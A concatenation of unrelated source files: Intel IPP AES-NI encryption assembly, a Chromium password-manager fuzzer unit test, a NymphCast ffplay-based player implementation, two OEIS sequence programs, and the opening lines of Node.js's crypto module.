%fatal unknown bit size: __BITS__
%endif
|
;===============================================================================
; Copyright 2014-2021 Intel Corporation
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
;===============================================================================
;
;
; Purpose: Cryptography Primitive.
; Rijndael Cipher function
;
; Content:
; EncryptECB_RIJ128pipe_AES_NI()
;
;
%include "asmdefs.inc"
%include "ia_emm.inc"
;***************************************************************
;* Purpose: pipelined RIJ128 ECB encryption
;*
;* void EncryptECB_RIJ128pipe_AES_NI(const Ipp32u* inpBlk,
;* Ipp32u* outBlk,
;* int nr,
;* const Ipp32u* pRKey,
;* int len)
;***************************************************************
;%if (_IPP >= _IPP_P8) && (_IPP < _IPP_G9)
%if (_IPP >= _IPP_P8)
;;
;; Lib = P8
;;
;; Caller = ippsRijndael128EncryptECB
;;
segment .text align=IPP_ALIGN_FACTOR
align IPP_ALIGN_FACTOR
IPPASM EncryptECB_RIJ128pipe_AES_NI,PUBLIC
USES_GPR esi,edi,ebx
%xdefine pInpBlk [esp + ARG_1 + 0*sizeof(dword)] ; input block address
%xdefine pOutBlk [esp + ARG_1 + 1*sizeof(dword)] ; output block address
%xdefine nr [esp + ARG_1 + 2*sizeof(dword)] ; number of rounds
%xdefine pKey [esp + ARG_1 + 3*sizeof(dword)] ; key material address
%xdefine len [esp + ARG_1 + 4*sizeof(dword)] ; length(byte)
%xdefine SC (4)
%assign BLKS_PER_LOOP (4)
%assign BYTES_PER_BLK (16)
%assign BYTES_PER_LOOP (BYTES_PER_BLK*BLKS_PER_LOOP)
mov esi,pInpBlk ; input data address
mov edi,pOutBlk ; output data address
mov ecx,pKey ; key material address
mov edx,len ; length
sub edx, BYTES_PER_LOOP
jl .short_input
;;
;; pipelined processing
;;
.blks_loop:
movdqa xmm4, oword [ecx] ; keys for whitening
lea ebx, [ecx+16] ; pointer to the round's key material
movdqu xmm0, oword [esi+0*BYTES_PER_BLK] ; get input blocks
movdqu xmm1, oword [esi+1*BYTES_PER_BLK]
movdqu xmm2, oword [esi+2*BYTES_PER_BLK]
movdqu xmm3, oword [esi+3*BYTES_PER_BLK]
add esi, BYTES_PER_LOOP
pxor xmm0, xmm4 ; whitening
pxor xmm1, xmm4
pxor xmm2, xmm4
pxor xmm3, xmm4
movdqa xmm4, oword [ebx] ; pre load round keys
add ebx, 16
mov eax,nr ; number of rounds depending on key length
sub eax, 1
.cipher_loop:
aesenc xmm0, xmm4 ; regular round
aesenc xmm1, xmm4
aesenc xmm2, xmm4
aesenc xmm3, xmm4
movdqa xmm4, oword [ebx]
add ebx, 16
dec eax
jnz .cipher_loop
aesenclast xmm0, xmm4 ; irregular round
movdqu oword [edi+0*BYTES_PER_BLK], xmm0 ; store output blocks
aesenclast xmm1, xmm4
movdqu oword [edi+1*BYTES_PER_BLK], xmm1
aesenclast xmm2, xmm4
movdqu oword [edi+2*BYTES_PER_BLK], xmm2
aesenclast xmm3, xmm4
movdqu oword [edi+3*BYTES_PER_BLK], xmm3
add edi, BYTES_PER_LOOP
sub edx, BYTES_PER_LOOP
jge .blks_loop
;;
;; block-by-block processing
;;
.short_input:
add edx, BYTES_PER_LOOP
jz .quit
; get actual address of key material: pRKeys += (nr-9) * SC
mov eax, nr
lea ebx,[eax*4]
lea ebx,[ecx+ebx*4-9*(SC)*4] ; AES-128 round keys
.single_blk_loop:
movdqu xmm0, oword [esi] ; get input block
add esi, BYTES_PER_BLK
pxor xmm0, oword [ecx] ; whitening
cmp eax,12 ; switch according to number of rounds
jl .key_128_s
jz .key_192_s
.key_256_s:
aesenc xmm0,oword [ebx-4*4*SC]
aesenc xmm0,oword [ebx-3*4*SC]
.key_192_s:
aesenc xmm0,oword [ebx-2*4*SC]
aesenc xmm0,oword [ebx-1*4*SC]
.key_128_s:
aesenc xmm0,oword [ebx+0*4*SC]
aesenc xmm0,oword [ebx+1*4*SC]
aesenc xmm0,oword [ebx+2*4*SC]
aesenc xmm0,oword [ebx+3*4*SC]
aesenc xmm0,oword [ebx+4*4*SC]
aesenc xmm0,oword [ebx+5*4*SC]
aesenc xmm0,oword [ebx+6*4*SC]
aesenc xmm0,oword [ebx+7*4*SC]
aesenc xmm0,oword [ebx+8*4*SC]
aesenclast xmm0,oword [ebx+9*4*SC]
movdqu oword [edi], xmm0 ; save output block
add edi, BYTES_PER_BLK
sub edx, BYTES_PER_BLK
jnz .single_blk_loop
.quit:
REST_GPR
ret
ENDFUNC EncryptECB_RIJ128pipe_AES_NI
%endif
|
// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "components/password_manager/core/browser/form_parsing/fuzzer/data_accessor.h"
#include "base/strings/string16.h"
#include "base/strings/utf_string_conversions.h"
#include "testing/gtest/include/gtest/gtest.h"
using base::UTF8ToUTF16;
namespace password_manager {
namespace {
TEST(DataAccessorTest, NullInput) {
DataAccessor accessor(nullptr, 0);
EXPECT_EQ(0u, accessor.ConsumeNumber(13));
EXPECT_EQ(false, accessor.ConsumeBit());
EXPECT_EQ(std::string("\0\0\0", 3), accessor.ConsumeString(3));
EXPECT_EQ(base::string16(), accessor.ConsumeString16(0));
}
TEST(DataAccessorTest, Bit) {
const uint8_t x = 0b10110001;
DataAccessor accessor(&x, 1);
EXPECT_EQ(true, accessor.ConsumeBit());
EXPECT_EQ(false, accessor.ConsumeBit());
EXPECT_EQ(false, accessor.ConsumeBit());
EXPECT_EQ(false, accessor.ConsumeBit());
EXPECT_EQ(true, accessor.ConsumeBit());
EXPECT_EQ(true, accessor.ConsumeBit());
EXPECT_EQ(false, accessor.ConsumeBit());
EXPECT_EQ(true, accessor.ConsumeBit());
}
TEST(DataAccessorTest, Number) {
const uint8_t xs[] = {0b01100110, 0b11100110};
DataAccessor accessor(xs, sizeof(xs));
accessor.ConsumeBit(); // Just skip the first bit for fun.
EXPECT_EQ(0b011u, accessor.ConsumeNumber(3));
EXPECT_EQ(0b0u, accessor.ConsumeNumber(1));
EXPECT_EQ(0b11u, accessor.ConsumeNumber(2));
// 10 (2nd byte) ++ 0 (1st byte):
EXPECT_EQ(0b100u, accessor.ConsumeNumber(3));
EXPECT_EQ(0u, accessor.ConsumeNumber(0)); // An empty string represents 0.
EXPECT_EQ(0b11001u, accessor.ConsumeNumber(5));
EXPECT_EQ(0b01u, accessor.ConsumeNumber(2)); // 1, also reaching padding
EXPECT_EQ(0b0000000u, accessor.ConsumeNumber(7)); // padding
}
TEST(DataAccessorTest, String) {
const std::string str = "Test string 123.";
DataAccessor accessor(reinterpret_cast<const uint8_t*>(str.c_str()),
str.size());
EXPECT_EQ("Test", accessor.ConsumeString(4));
accessor.ConsumeNumber(3); // Skip 3 bits to test re-alignment.
EXPECT_EQ("string 123", accessor.ConsumeString(10));
EXPECT_EQ(std::string(), accessor.ConsumeString(0));
// Test also that padding is included.
EXPECT_EQ(std::string(".\0\0", 3), accessor.ConsumeString(3));
}
TEST(DataAccessorTest, String16) {
const base::string16 str = UTF8ToUTF16("Test string 123.");
DataAccessor accessor(reinterpret_cast<const uint8_t*>(str.c_str()),
str.size() * 2);
EXPECT_EQ(UTF8ToUTF16("Test"), accessor.ConsumeString16(4));
accessor.ConsumeNumber(13); // Skip 13 bits to test re-alignment.
EXPECT_EQ(UTF8ToUTF16("string 123"), accessor.ConsumeString16(10));
EXPECT_EQ(base::string16(), accessor.ConsumeString16(0));
// Test also that padding is included.
EXPECT_EQ(UTF8ToUTF16(std::string(".\0\0", 3)), accessor.ConsumeString16(3));
}
TEST(DataAccessorTest, Mix) {
const uint8_t xs[] = {'a', 'b', 0b11100101, 5, 9,
0b10000001, 'c', 'd', 'e', 0};
DataAccessor accessor(xs, sizeof(xs));
EXPECT_EQ("ab", accessor.ConsumeString(2));
EXPECT_EQ(true, accessor.ConsumeBit());
EXPECT_EQ(0b1110010u, accessor.ConsumeNumber(7));
EXPECT_EQ(5u, accessor.ConsumeNumber(8));
EXPECT_EQ(9u + (1u << 8), accessor.ConsumeNumber(9));
EXPECT_EQ(false, accessor.ConsumeBit());
EXPECT_EQ("cd", accessor.ConsumeString(2));
EXPECT_EQ(UTF8ToUTF16("e"), accessor.ConsumeString16(1));
}
} // namespace
} // namespace password_manager
|
/*
ffplay.cpp - Implementation file for the static AV_IO class.
Revision 0
Notes:
-
2019/10/15 - Maya Posch
*/
#include "ffplay.h"
//#define DEBUG 1
/* current context */
int is_full_screen;
int64_t audio_callback_time;
//FileMetaInfo file_meta;
// Static defines.
std::atomic<uint64_t> FileMetaInfo::duration; // seconds
std::atomic<double> FileMetaInfo::position; // seconds with remainder.
std::atomic<uint32_t> FileMetaInfo::width; // pixels
std::atomic<uint32_t> FileMetaInfo::height; // pixels
std::atomic<uint32_t> FileMetaInfo::video_rate; // kilobits per second
std::atomic<uint32_t> FileMetaInfo::audio_rate; // kilobits per second
std::atomic<uint32_t> FileMetaInfo::framrate;
std::atomic<uint8_t> FileMetaInfo::audio_channels;
std::string FileMetaInfo::title;
std::string FileMetaInfo::artist;
std::string FileMetaInfo::album;
Poco::Mutex FileMetaInfo::mutex; // Use only with non-atomic entries.
// ---
unsigned sws_flags = SWS_BICUBIC;
AVPacket flush_pkt;
#include <Poco/NumberFormatter.h>
#include <nymph/nymph_logger.h>
// Global objects.
Poco::Condition playerCon;
Poco::Mutex playerMutex;
// ---
// Static definitions.
std::string Ffplay::loggerName = "Ffplay";
#include <inttypes.h>
#include <math.h>
#include <limits.h>
#include <signal.h>
#include <stdint.h>
#include <string>
#include <cstring>
#include <vector>
#include "types.h"
#include "../databuffer.h"
#include "player.h"
#include "stream_handler.h"
#include "sdl_renderer.h"
static void do_exit(VideoState *is) {
if (is) {
StreamHandler::stream_close(is);
}
uninit_opts();
#if CONFIG_AVFILTER
av_freep(&vfilters_list);
#endif
avformat_network_deinit();
if (show_status)
printf("\n");
SdlRenderer::quit();
av_log(NULL, AV_LOG_QUIET, "%s", "");
exit(0);
}
/* static void sigterm_handler(int sig) {
exit(123);
} */
static int opt_frame_size(void *optctx, const char *opt, const char *arg) {
av_log(NULL, AV_LOG_WARNING, "Option -s is deprecated, use -video_size.\n");
return opt_default(NULL, "video_size", arg);
}
static int opt_width(void *optctx, const char *opt, const char *arg) {
screen_width = parse_number_or_die(opt, arg, OPT_INT64, 1, INT_MAX);
return 0;
}
static int opt_height(void *optctx, const char *opt, const char *arg) {
screen_height = parse_number_or_die(opt, arg, OPT_INT64, 1, INT_MAX);
return 0;
}
static int opt_format(void *optctx, const char *opt, const char *arg) {
file_iformat = av_find_input_format(arg);
if (!file_iformat) {
av_log(NULL, AV_LOG_FATAL, "Unknown input format: %s\n", arg);
return AVERROR(EINVAL);
}
return 0;
}
static int opt_frame_pix_fmt(void *optctx, const char *opt, const char *arg) {
av_log(NULL, AV_LOG_WARNING, "Option -pix_fmt is deprecated, use -pixel_format.\n");
return opt_default(NULL, "pixel_format", arg);
}
static int opt_sync(void *optctx, const char *opt, const char *arg) {
if (!strcmp(arg, "audio"))
av_sync_type = AV_SYNC_AUDIO_MASTER;
else if (!strcmp(arg, "video"))
av_sync_type = AV_SYNC_VIDEO_MASTER;
else if (!strcmp(arg, "ext"))
av_sync_type = AV_SYNC_EXTERNAL_CLOCK;
else {
av_log(NULL, AV_LOG_ERROR, "Unknown value for %s: %s\n", opt, arg);
exit(1);
}
return 0;
}
static int opt_seek(void *optctx, const char *opt, const char *arg) {
start_time = parse_time_or_die(opt, arg, 1);
return 0;
}
static int opt_duration(void *optctx, const char *opt, const char *arg) {
duration = parse_time_or_die(opt, arg, 1);
return 0;
}
static int opt_show_mode(void *optctx, const char *opt, const char *arg) {
show_mode = (ShowMode) !strcmp(arg, "video") ? SHOW_MODE_VIDEO :
!strcmp(arg, "waves") ? SHOW_MODE_WAVES :
!strcmp(arg, "rdft" ) ? SHOW_MODE_RDFT :
(ShowMode) parse_number_or_die(opt, arg, OPT_INT, 0, SHOW_MODE_NB-1);
return 0;
}
static void opt_input_file(void *optctx, const char *filename) {
if (input_filename) {
av_log(NULL, AV_LOG_FATAL,
"Argument '%s' provided as input filename, but '%s' was already specified.\n",
filename, input_filename);
exit(1);
}
if (!strcmp(filename, "-")) { filename = "pipe:"; }
input_filename = filename;
}
static int opt_codec(void *optctx, const char *opt, const char *arg) {
const char *spec = strchr(opt, ':');
if (!spec) {
av_log(NULL, AV_LOG_ERROR,
"No media specifier was specified in '%s' in option '%s'\n",
arg, opt);
return AVERROR(EINVAL);
}
spec++;
switch (spec[0]) {
case 'a' : audio_codec_name = arg; break;
case 's' : subtitle_codec_name = arg; break;
case 'v' : video_codec_name = arg; break;
default:
av_log(NULL, AV_LOG_ERROR,
"Invalid media specifier '%s' in option '%s'\n", spec, opt);
return AVERROR(EINVAL);
}
return 0;
}
static int dummy;
const char program_name[] = "ffplay";
const int program_birth_year = 2003;
static const OptionDef options[] = {
CMDUTILS_COMMON_OPTIONS
{ "x", HAS_ARG, { .func_arg = opt_width }, "force displayed width", "width" },
{ "y", HAS_ARG, { .func_arg = opt_height }, "force displayed height", "height" },
{ "s", HAS_ARG | OPT_VIDEO, { .func_arg = opt_frame_size }, "set frame size (WxH or abbreviation)", "size" },
{ "fs", OPT_BOOL, { &is_full_screen }, "force full screen" },
//{ "an", OPT_BOOL, { &audio_disable }, "disable audio" },
//{ "vn", OPT_BOOL, { &video_disable }, "disable video" },
//{ "sn", OPT_BOOL, { &subtitle_disable }, "disable subtitling" },
{ "ast", OPT_STRING | HAS_ARG | OPT_EXPERT, { &wanted_stream_spec[AVMEDIA_TYPE_AUDIO] }, "select desired audio stream", "stream_specifier" },
{ "vst", OPT_STRING | HAS_ARG | OPT_EXPERT, { &wanted_stream_spec[AVMEDIA_TYPE_VIDEO] }, "select desired video stream", "stream_specifier" },
{ "sst", OPT_STRING | HAS_ARG | OPT_EXPERT, { &wanted_stream_spec[AVMEDIA_TYPE_SUBTITLE] }, "select desired subtitle stream", "stream_specifier" },
{ "ss", HAS_ARG, { .func_arg = opt_seek }, "seek to a given position in seconds", "pos" },
{ "t", HAS_ARG, { .func_arg = opt_duration }, "play \"duration\" seconds of audio/video", "duration" },
{ "bytes", OPT_INT | HAS_ARG, { &seek_by_bytes }, "seek by bytes 0=off 1=on -1=auto", "val" },
{ "seek_interval", OPT_FLOAT | HAS_ARG, { &seek_interval }, "set seek interval for left/right keys, in seconds", "seconds" },
//{ "nodisp", OPT_BOOL, { &display_disable }, "disable graphical display" },
{ "noborder", OPT_BOOL, { &borderless }, "borderless window" },
{ "alwaysontop", OPT_BOOL, { &alwaysontop }, "window always on top" },
{ "volume", OPT_INT | HAS_ARG, { &startup_volume}, "set startup volume 0=min 100=max", "volume" },
{ "f", HAS_ARG, { .func_arg = opt_format }, "force format", "fmt" },
{ "pix_fmt", HAS_ARG | OPT_EXPERT | OPT_VIDEO, { .func_arg = opt_frame_pix_fmt }, "set pixel format", "format" },
{ "stats", OPT_BOOL | OPT_EXPERT, { &show_status }, "show status", "" },
{ "fast", OPT_BOOL | OPT_EXPERT, { &fast }, "non spec compliant optimizations", "" },
{ "genpts", OPT_BOOL | OPT_EXPERT, { &genpts }, "generate pts", "" },
{ "drp", OPT_INT | HAS_ARG | OPT_EXPERT, { &decoder_reorder_pts }, "let decoder reorder pts 0=off 1=on -1=auto", ""},
{ "lowres", OPT_INT | HAS_ARG | OPT_EXPERT, { &lowres }, "", "" },
{ "sync", HAS_ARG | OPT_EXPERT, { .func_arg = opt_sync }, "set audio-video sync. type (type=audio/video/ext)", "type" },
{ "autoexit", OPT_BOOL | OPT_EXPERT, { &autoexit }, "exit at the end", "" },
{ "exitonkeydown", OPT_BOOL | OPT_EXPERT, { &exit_on_keydown }, "exit on key down", "" },
{ "exitonmousedown", OPT_BOOL | OPT_EXPERT, { &exit_on_mousedown }, "exit on mouse down", "" },
{ "loop", OPT_INT | HAS_ARG | OPT_EXPERT, { &loop }, "set number of times the playback shall be looped", "loop count" },
{ "framedrop", OPT_BOOL | OPT_EXPERT, { &framedrop }, "drop frames when cpu is too slow", "" },
{ "infbuf", OPT_BOOL | OPT_EXPERT, { &infinite_buffer }, "don't limit the input buffer size (useful with realtime streams)", "" },
{ "window_title", OPT_STRING | HAS_ARG, { &window_title }, "set window title", "window title" },
{ "left", OPT_INT | HAS_ARG | OPT_EXPERT, { &screen_left }, "set the x position for the left of the window", "x pos" },
{ "top", OPT_INT | HAS_ARG | OPT_EXPERT, { &screen_top }, "set the y position for the top of the window", "y pos" },
#if CONFIG_AVFILTER
{ "vf", OPT_EXPERT | HAS_ARG, { .func_arg = StreamHandler::opt_add_vfilter }, "set video filters", "filter_graph" },
{ "af", OPT_STRING | HAS_ARG, { &afilters }, "set audio filters", "filter_graph" },
#endif
{ "rdftspeed", OPT_INT | HAS_ARG| OPT_AUDIO | OPT_EXPERT, { &rdftspeed }, "rdft speed", "msecs" },
{ "showmode", HAS_ARG, { .func_arg = opt_show_mode}, "select show mode (0 = video, 1 = waves, 2 = RDFT)", "mode" },
{ "default", HAS_ARG | OPT_AUDIO | OPT_VIDEO | OPT_EXPERT, { .func_arg = opt_default }, "generic catch all option", "" },
{ "i", OPT_BOOL, { &dummy}, "read specified file", "input_file"},
{ "codec", HAS_ARG, { .func_arg = opt_codec}, "force decoder", "decoder_name" },
{ "acodec", HAS_ARG | OPT_STRING | OPT_EXPERT, { &audio_codec_name }, "force audio decoder", "decoder_name" },
{ "scodec", HAS_ARG | OPT_STRING | OPT_EXPERT, { &subtitle_codec_name }, "force subtitle decoder", "decoder_name" },
{ "vcodec", HAS_ARG | OPT_STRING | OPT_EXPERT, { &video_codec_name }, "force video decoder", "decoder_name" },
{ "autorotate", OPT_BOOL, { &autorotate }, "automatically rotate video", "" },
{ "find_stream_info", OPT_BOOL | OPT_INPUT | OPT_EXPERT, { &find_stream_info },
"read and decode the streams to fill missing information with heuristics" },
{ "filter_threads", HAS_ARG | OPT_INT | OPT_EXPERT, { &filter_nbthreads }, "number of filter threads per graph" },
{ NULL, },
};
static void show_usage(void)
{
av_log(NULL, AV_LOG_INFO, "Simple media player\n");
av_log(NULL, AV_LOG_INFO, "usage: %s [options] input_file\n", program_name);
av_log(NULL, AV_LOG_INFO, "\n");
}
void show_help_default(const char *opt, const char *arg)
{
av_log_set_callback(log_callback_help);
show_usage();
show_help_options(options, "Main options:", 0, OPT_EXPERT, 0);
show_help_options(options, "Advanced options:", OPT_EXPERT, 0, 0);
printf("\n");
show_help_children(avcodec_get_class(), AV_OPT_FLAG_DECODING_PARAM);
show_help_children(avformat_get_class(), AV_OPT_FLAG_DECODING_PARAM);
#if !CONFIG_AVFILTER
show_help_children(sws_get_class(), AV_OPT_FLAG_ENCODING_PARAM);
#else
show_help_children(avfilter_get_class(), AV_OPT_FLAG_FILTERING_PARAM);
#endif
printf("\nWhile playing:\n"
"q, ESC quit\n"
"f toggle full screen\n"
"p, SPC pause\n"
"m toggle mute\n"
"9, 0 decrease and increase volume respectively\n"
"/, * decrease and increase volume respectively\n"
"a cycle audio channel in the current program\n"
"v cycle video channel\n"
"t cycle subtitle channel in the current program\n"
"c cycle program\n"
"w cycle video filters or show modes\n"
"s activate frame-step mode\n"
"left/right seek backward/forward 10 seconds or to custom interval if -seek_interval is set\n"
"down/up seek backward/forward 1 minute\n"
"page down/page up seek backward/forward 10 minutes\n"
"right mouse click seek to percentage in file corresponding to fraction of width\n"
"left double-click toggle full screen\n"
);
}
/**
* Reads from a buffer into FFmpeg.
*
* @param ptr A pointer to the user-defined IO data structure.
* @param buf A buffer to read into.
* @param buf_size The size of the buffer buff.
*
* @return The number of bytes read into the buffer.
*/
int Ffplay::media_read(void* opaque, uint8_t* buf, int buf_size) {
uint32_t bytesRead = DataBuffer::read(buf_size, buf);
//std::cout << "Read " << bytesRead << " bytes." << std::endl;
NYMPH_LOG_INFORMATION("Read " + Poco::NumberFormatter::format(bytesRead) + " bytes.");
if (bytesRead == 0) {
std::cout << "EOF is " << DataBuffer::isEof() << std::endl;
if (DataBuffer::isEof()) { return AVERROR_EOF; }
else { return AVERROR(EIO); }
}
return bytesRead;
}
/**
* Seeks to a given position in the currently open file.
*
* @param opaque A pointer to the user-defined IO data structure.
* @param offset The position to seek to.
* @param whence SEEK_SET, SEEK_CUR, SEEK_END (like fseek) and AVSEEK_SIZE.
*
* @return The new byte position in the file or -1 in case of failure.
*/
int64_t Ffplay::media_seek(void* opaque, int64_t offset, int whence) {
NYMPH_LOG_INFORMATION("media_seek: offset " + Poco::NumberFormatter::format(offset) +
", whence " + Poco::NumberFormatter::format(whence));
int64_t new_offset = AVERROR(EIO);
switch (whence) {
case SEEK_SET: // Seek from the beginning of the file.
NYMPH_LOG_INFORMATION("media_seek: SEEK_SET");
new_offset = DataBuffer::seek(DB_SEEK_START, offset);
break;
case SEEK_CUR: // Seek from the current position.
NYMPH_LOG_INFORMATION("media_seek: SEEK_CUR");
new_offset = DataBuffer::seek(DB_SEEK_CURRENT, offset);
break;
case SEEK_END: // Seek from the end of the file.
NYMPH_LOG_INFORMATION("media_seek: SEEK_END");
new_offset = DataBuffer::seek(DB_SEEK_END, offset);
break;
case AVSEEK_SIZE:
NYMPH_LOG_INFORMATION("media_seek: received AVSEEK_SIZE, returning file size.");
return DataBuffer::getFileSize();
break;
default:
NYMPH_LOG_ERROR("media_seek: default. The universe broke.");
/* new_offset = -1;
return new_offset; */
}
if (new_offset < 0) {
// Some error occurred.
NYMPH_LOG_ERROR("Error during seeking.");
new_offset = AVERROR(EIO);
}
NYMPH_LOG_INFORMATION("New offset: " + Poco::NumberFormatter::format(new_offset));
return new_offset;
}
// --- GET VOLUME ---
uint8_t Ffplay::getVolume() {
//if (!is) { return 0; }
return audio_volume;
}
// --- SET VOLUME ---
void Ffplay::setVolume(uint8_t volume) {
audio_volume = volume;
if (!is) { return; }
if (volume > SDL_MIX_MAXVOLUME) {
is->audio_volume = SDL_MIX_MAXVOLUME;
}
else {
is->audio_volume = volume;
}
}
#ifdef _WIN32
void avLogCallback(void *ptr, int level, const char *fmt, va_list vargs) {
//if (level > av_log_get_level()) { return; }
//std::cout << level << " - " << fmt << std::endl;
//printf("%s ", "va_log:");
vprintf(fmt, vargs);
}
#endif
// --- RUN ---
void Ffplay::run() {
init_dynload();
// Fake command line arguments.
//std::vector<std::string> arguments = {"nymphcast", "-autoexit", "-loglevel", "warning", "-sync", "ext"};
std::vector<std::string> arguments = {"nymphcast", "-autoexit", "-loglevel", "warning"};
std::vector<char*> argv;
for (int i = 0; i < arguments.size(); i++) {
const std::string& arg = arguments[i];
argv.push_back((char*) arg.data());
}
int argc = argv.size() - 1;
//parse_loglevel(argc, argv.data(), options);
#ifdef _WIN32
//av_log_set_callback(avLogCallback);
#endif
/* register all codecs, demux and protocols */
//#if CONFIG_AVDEVICE
avdevice_register_all();
//#endif
avformat_network_init();
init_opts();
//signal(SIGINT , sigterm_handler); /* Interrupt (ANSI). */
//signal(SIGTERM, sigterm_handler); /* Termination (ANSI). */
//show_banner(argc, argv.data(), options);
parse_options(NULL, argc, argv.data(), options, opt_input_file);
av_log_set_flags(AV_LOG_SKIP_REPEATED);
//av_log_set_level(AV_LOG_TRACE);
av_log_set_level(AV_LOG_INFO);
// --- AVIOContext section ---
AVFormatContext* formatContext = 0;
AVIOContext* ioContext = 0;
if (!castingUrl) {
input_filename = "";
// Create internal buffer for FFmpeg.
size_t iBufSize = 32 * 1024; // 32 kB
uint8_t* pBuffer = (uint8_t*) av_malloc(iBufSize);
// Allocate the AVIOContext:
// The fourth parameter (pStream) is a user parameter which will be passed to our callback functions
ioContext = avio_alloc_context(pBuffer, iBufSize, // internal Buffer and its size
0, // bWriteable (1=true,0=false)
0, //&media_buffer, // user data
media_read,
0, // Write callback function.
media_seek);
// Allocate the AVFormatContext. This holds information about the container format.
formatContext = avformat_alloc_context();
formatContext->pb = ioContext; // Set the IOContext.
//formatContext->flags = AVFMT_FLAG_CUSTOM_IO;
// Determine the input format.
// Create the ProbeData structure for av_probe_input_format.
/* AVProbeData probeData;
media_buffer.dataMutex.lock();
probeData.buf = (unsigned char*) media_buffer.data[0].data();
//probeData.buf_size = media_buffer.data[0].size();
probeData.buf_size = 4096;
probeData.filename = "";
pCtx->iformat = av_probe_input_format(&probeData, 1);
media_buffer.dataMutex.unlock(); */
// --- End AVIOContext section ---
}
else {
input_filename = castUrl.c_str();
}
// Start player.
is = StreamHandler::stream_open(input_filename, file_iformat, formatContext);
if (!is) {
av_log(NULL, AV_LOG_FATAL, "Failed to initialize VideoState!\n");
do_exit(NULL);
}
// Extract meta data from VideoState instance and copy to FileMetaInfo instance.
//av_dict_get(ic->metadata, "title", NULL, 0);
/* if (!castingUrl) {
file_meta.duration = is->ic->duration / AV_TIME_BASE; // Convert to seconds.
} */
Player::setVideoState(is);
SdlRenderer::playerEvents(true);
// Update clients with status.
sendGlobalStatusUpdate();
// Wait here until playback has finished.
// The read thread in StreamHandler will signal this condition variable.
playerMutex.lock();
playerCon.wait(playerMutex);
playerMutex.unlock();
// Immediately disable player events since we're no longer processing them.
SdlRenderer::playerEvents(false);
// Clear file meta info.
FileMetaInfo::setPosition(0.0);
FileMetaInfo::setDuration(0);
SDL_Delay(500); // wait 500 ms.
if (ioContext) {
av_freep(&ioContext->buffer);
av_freep(&ioContext);
}
if (is) {
StreamHandler::stream_close(is);
is = 0;
}
av_log(NULL, AV_LOG_INFO, "Terminating player...\n");
DataBuffer::reset(); // Clears the data buffer (file data buffer).
finishPlayback(); // Calls handler for post-playback steps.
}
// --- QUIT ---
void Ffplay::quit() {
// Stop player.
Player::quit();
}
|
; A024893: Numbers k such that 3*k+2 is prime.
; Submitted by Jon Maiga
; 0,1,3,5,7,9,13,15,17,19,23,27,29,33,35,37,43,45,49,55,57,59,63,65,75,77,79,83,85,87,89,93,97,103,105,115,117,119,127,129,133,139,143,147,149,153,155,159,163,167,169,173,185,187,189,195,197,199,205,213,215,217,219,225,227,233,239,247,253,257,265,269,273,275,279,285,287,293,295,303,309,313,315,317,323,325,327,337,339,343,349,353,363,365,367,369,383,387,393,395
mov $1,1
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $2,1
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,3
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
sub $0,4
div $0,3
|
; A047261: Numbers that are congruent to {2, 4, 5} mod 6.
; 2,4,5,8,10,11,14,16,17,20,22,23,26,28,29,32,34,35,38,40,41,44,46,47,50,52,53,56,58,59,62,64,65,68,70,71,74,76,77,80,82,83,86,88,89,92,94,95,98,100,101,104,106,107,110,112,113,116,118,119,122,124,125,128,130,131,134,136,137,140,142,143,146,148,149,152,154,155,158,160,161,164,166,167,170,172,173,176,178,179,182,184,185,188,190,191,194,196,197,200
mov $1,$0
mul $0,2
mod $1,3
trn $1,1
sub $0,$1
add $0,2
|
// Copyright Joyent, Inc. and other Node contributors.
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to permit
// persons to whom the Software is furnished to do so, subject to the
// following conditions:
//
// The above copyright notice and this permission notice shall be included
// in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
// USE OR OTHER DEALINGS IN THE SOFTWARE.
#include "node_crypto.h"
#include "node_crypto_bio.h"
#include "node_crypto_groups.h"
#include "v8.h"
#include "node.h"
#include "node_buffer.h"
#include "string_bytes.h"
#include "node_root_certs.h"
#include <string.h>
#ifdef _MSC_VER
#define strcasecmp _stricmp
#endif
#include <stdlib.h>
#include <errno.h>
#if OPENSSL_VERSION_NUMBER >= 0x10000000L
# define OPENSSL_CONST const
#else
# define OPENSSL_CONST
#endif
#define ASSERT_IS_STRING_OR_BUFFER(val) do { \
if (!Buffer::HasInstance(val) && !val->IsString()) { \
return ThrowException(Exception::TypeError(String::New( \
"Not a string or buffer"))); \
} \
} while (0)
#define ASSERT_IS_BUFFER(val) do { \
if (!Buffer::HasInstance(val)) { \
return ThrowException(Exception::TypeError(String::New( \
"Not a buffer"))); \
} \
} while (0)
static const char PUBLIC_KEY_PFX[] = "-----BEGIN PUBLIC KEY-----";
static const int PUBLIC_KEY_PFX_LEN = sizeof(PUBLIC_KEY_PFX) - 1;
static const char PUBRSA_KEY_PFX[] = "-----BEGIN RSA PUBLIC KEY-----";
static const int PUBRSA_KEY_PFX_LEN = sizeof(PUBRSA_KEY_PFX) - 1;
static const int X509_NAME_FLAGS = ASN1_STRFLGS_ESC_CTRL
| ASN1_STRFLGS_ESC_MSB
| XN_FLAG_SEP_MULTILINE
| XN_FLAG_FN_SN;
namespace node {
namespace crypto {
using namespace v8;
